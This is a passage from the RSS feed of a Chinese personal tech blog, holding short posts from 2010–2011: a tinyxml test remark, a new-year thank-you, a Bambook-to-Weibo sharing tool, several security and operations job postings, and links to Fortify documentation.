	Person<br />
	周星星<br />
	20<br />
	1</p>
<p>
	将编译好的test和test.xml放至另外一台没有tinyxml的库，执行成功。</p>
<p>
	以上代码在centos5.4上测试正常。</p>
]]></description>
			<link>http://neeao.com/archives/76/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-01-20 15:37</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/75/</guid>
			<title>感谢2010</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	感谢在2010年帮助、关注、祝福Neeao的朋友们，祝你们在新的一年里身体健康、工作愉快！</p>
]]></description>
			<link>http://neeao.com/archives/75/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2010-12-31 14:42</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/74/</guid>
			<title>Bambook微博分享</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	Bambook 微博分享，可直接通过云端分享至新浪微博。</p>
<p>
	开发环境：Windows7+VC2010。</p>
<p>
	使用方法：</p>
<p>
	1.点击链接至Bambook，会自动读取设备自有书信息。</p>
<p>
	2.要分享的书上右键，即可弹出分享到新浪微博按钮。</p>
<p>
	3.修改默认内容，点击发布。</p>
<p>
	4.第一次发布时，会弹出窗口在新浪网站授权下使用此应用，并输入新浪api返回的PIN码，以后无需再输入。</p>
<p>
	5.分享成功。</p>
<p>
	[attach=32][attach=33][attach=34]</p>
]]></description>
			<link>http://neeao.com/archives/74/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2010-12-04 12:01</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/73/</guid>
			<title>迅雷招聘安全工程师</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	有意向的朋友，请把简历发送至xlsec@xunlei.com<br />
	<br />
	已经有工作的朋友们，帮忙转发下，多谢了：）<br />
	<br />
	安全工程师<br />
	<br />
	工作地点：深圳<br />
	工作职责：<br />
	1、跟踪和分析最新应用安全技术<br />
	2、病毒、木马、入侵、网络攻击等突发安全事件的处理<br />
	3、公司产品和业务的安全评估<br />
	工作要求：<br />
	1、为人正直、对网络安全有强烈兴趣；<br />
	2、精通黑客攻防技术，熟悉Web漏洞、操作系统漏洞；<br />
	3、熟悉Linux或Windows操作系统的配置管理和安全加固；<br />
	4、熟悉Perl/Python/shell等至少一门语言，熟悉mysql数据库操作；<br />
	5、处理过linux或web系统入侵攻击事件；有从事网络安全相关经验者优先；<br />
	6、也欢迎基础扎实、学习能力强、适应新环境快的应届毕业生踊跃报名。</p>
]]></description>
			<link>http://neeao.com/archives/73/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2010-12-02 16:35</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/70/</guid>
			<title>某网游公司招聘运营技术职位</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <div class="cnt" id="blog_text">
	<p>
		公司性质：网游<br />
		规模： 100人<br />
		工作地点：上海<br />
		待遇：根据个人能力而定，本次招聘主要面向中、基层岗位</p>
	<p>
		除BI专员外，其余岗位无学历限制</p>
	<p>
		简历可发送至<a href="mailto:ay4z3ro@hotmail.com">ay4z3ro@hotmail.com</a>,来信请注明薪资期望</p>
	<p>
		<br />
		职位：运维工程师<br />
		招聘人数：3-4人<br />
		职位描述：<br />
		1. 负责生产网络、服务器、数据库与支撑系统的建设、运维和监控，保证各业务系统正常运营；<br />
		2. 负责突发性事件的快速响应和处理，解决服务器和网络故障；<br />
		3. 研究运维相关技术，制定运维技术方案、部署统一化、集中化的运维系统和工具；<br />
		4. 负责对现有运维系统的性能改善。</p>
	<p>
		职位要求：<br />
		1. 计算机或相关理工科专业专科或以上学历，为人真诚正直；<br />
		2. 精通Linux操作系统，熟悉Linux脚本编程；<br />
		3. 熟悉Apache、nginx、Mysql等应用的配置与维护；<br />
		4. 熟悉防火墙，交换机等网络设备的安装、配置；<br />
		5. 2年以上相关工作经验，深入理解Linux系统的和部署，有系统调优经验者优先；<br />
		6. 具备良好的沟通能力和强烈的责任心，热爱运维技术，有良好的文字表达能力和自学能力，有良好的团队合作意识。</p>
	<p>
		<br />
		职位：PHP开发工程师<br />
		招聘人数：1-2人<br />
		职位描述：<br />
		负责如下系统的设计，编码，测试，文档记录，开发优化维护等：<br />
		1. passport中心<br />
		2. 支付平台<br />
		3. 论坛整合插件(discuz!)<br />
		4. 在线活动项目<br />
		5. 资产管理系统<br />
		6. 广告统计系统<br />
		7. 服务器监控系统<br />
		8. 周边产品的<br />
		职位要求：<br />
		1. 精通PHP5开发（2年以上工作经验,有WebGame或者社区开发经验优先）<br />
		2. 扎实的编程基础。代码构造清晰，易读。擅长代码和算法优化。<br />
		3. 熟悉MySql数据库设计，了解Memcached优化。<br />
		4. 了解PHP与FLASH（或者其它非浏览器客户端）的常用通信方式。（如AMFPHP）了解HTTP协议。<br />
		5. 熟悉javascript,善用ajax等技术，熟悉Jason数据格式。<br />
		6. 熟悉各浏览器的安全机制上的差异，能够解决兼容性问题，如：iframe,cookies,ajax。<br />
		7. 熟悉PHP（APC之类）缓存技术，对异步机制下的状态维持、更新有一定的了解<br />
		8. 熟悉SVN等版本控制开发环境</p>
	<p>
		职位：数据库管理员/DBA<br />
		招聘人数：1-2人<br />
		职位描述：<br />
		1. 负责公司游戏产品、支撑平台的数据库日常维护和监控；<br />
		2. 负责数据库的更新和运营相关数据的统计分析。</p>
	<p>
		职位要求：<br />
		1. 熟悉MySQL,Oracle的体系结构,复制,高可用,监控和备份机制；<br />
		2. 具备较强的数据库故障解决能力；<br />
		3. 至少熟悉Shell或Python脚本语言之一；<br />
		4. 熟练使用PL/SQL,对大数据量下的数据处理有一定经验，有PL/SQL, SQL调优经验者优先；<br />
		5. 熟悉数据仓库的ETL开发和数据建模优先；<br />
		6. 能阅读各类英语文档。</p>
	<p>
		职位：BI&amp;UCD专员<br />
		招聘人数：1<br />
		职位描述：<br />
		1. 辅助运营流程建设；<br />
		2. 辅助运营数据统计、分析、挖掘；<br />
		3. 参与实施BE/UCD管理及团队建设；<br />
		4. 数据化衡量运营质量、提供决策参考依据；<br />
		职位要求：<br />
		1. 本科学历是必须条件，计算机及相关专业优先；<br />
		2. 学习能力强，具有较强的沟通与领悟能力；<br />
		3. 具备自我驱动能力，抗压能力强，服务意识及团队合作精神佳；</p>
</div>
]]></description>
			<link>http://neeao.com/archives/70/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2010-11-10 17:58</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/69/</guid>
			<title>Fortify的一些简体中文文档</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	AWB：<a href="http://neeao.com/Fortify/awb/">http://neeao.com/Fortify/awb/</a></p>
<p>
	SCA:<a href="http://neeao.com/Fortify/sca/">http://neeao.com/Fortify/sca/</a></p>
<p>
	rules-schema:<a href="http://neeao.com/Fortify/rules-schema/">http://neeao.com/Fortify/rules-schema/</a></p>
]]></description>
			<link>http://neeao.com/archives/69/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2010-09-27 15:45</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/68/</guid>
			<title>北京某知名IT企业招聘网络安全人员</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	北京大型IT集团招聘人才，主要从事安全审计和等级保护等网络安全服务。</p>
<p>
	1）项目经理一名： 3年以上从业经验，对各类安全标准、安全服务框架熟悉，可以设计体系化安全解决 方案，网络与系统安全方面知识扎实，本科以上学历。具有电力行业安全实施经验者优先，CISP、CISSP 、CCIE优先。<br />
	2）VC程序UI设计师一名，要求有美术功底，熟悉VC，C#。<br />
	3）网络安全工程师2名：</p>
<p>
	熟悉windows / linux操作系统，了解补丁分发技术,并能搭建企业的多平台补丁分发平台；<br />
	熟悉防火墙、VPN、IDS、IPS等网络安全产品的原理与操作<br />
	熟悉JSP、ASP、PHP等脚本语言，对脚本和系统都要有一定程度的解读能力；<br />
	熟悉网络与系统的风险评估和安全加固<br />
	本科以上学历，CCIE CISP优先<br />
	4）渗透工程师<br />
	没有硬性要求，有自己发掘漏洞能力就可以</p>
<p>
	项目经理15-18K<br />
	工程师8-15K<br />
	渗透人员6-15K</p>
<p>
	联系方式：<br />
	QQ： 9148357<br />
	MAIL： crazitor@gmail.com</p>
]]></description>
			<link>http://neeao.com/archives/68/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2010-09-27 10:15</pubDate>
		</item>
	</channel>
</rss>

